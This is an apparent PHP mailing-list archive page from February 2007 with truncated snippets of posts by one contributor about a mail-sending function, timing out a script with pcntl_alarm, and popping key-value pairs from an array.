have been up half the night and got nowhere! Thanks Robin function sendMail($to, $toName, $from, $fromName, $subject, $message, $uploadfile, $fileName, $fileType, $fileSize) { $eol="\r\n"; $mime_boundary=md5(time()); # Common Headers $headers .= 'From: '. $fromName .'

Re: [PHP] How do I force my script to exit after 5 seconds?

2007-02-22 Thread Robin Vickery
On 22/02/07, Aaron Gould <[EMAIL PROTECTED]> wrote: I tried this earlier, but it does not seem to work... It appears to just hang when no data is returned from the networked device. It seems as if the loop stops, and is waiting for something. http://www.php.net/manual/en/function.pcntl-alar

Re: [PHP] array_pop() with key-value pair ???

2007-02-16 Thread Robin Vickery
On 16/02/07, Németh Zoltán <[EMAIL PROTECTED]> wrote: 2007. 02. 16, péntek keltezéssel 10.23-kor Robin Vickery ezt írta: > On 16/02/07, Eli <[EMAIL PROTECTED]> wrote: > > Hi, > > > > Why isn't there a function that acts like array_pop() returns a pair of &g

  1   2   3   4   >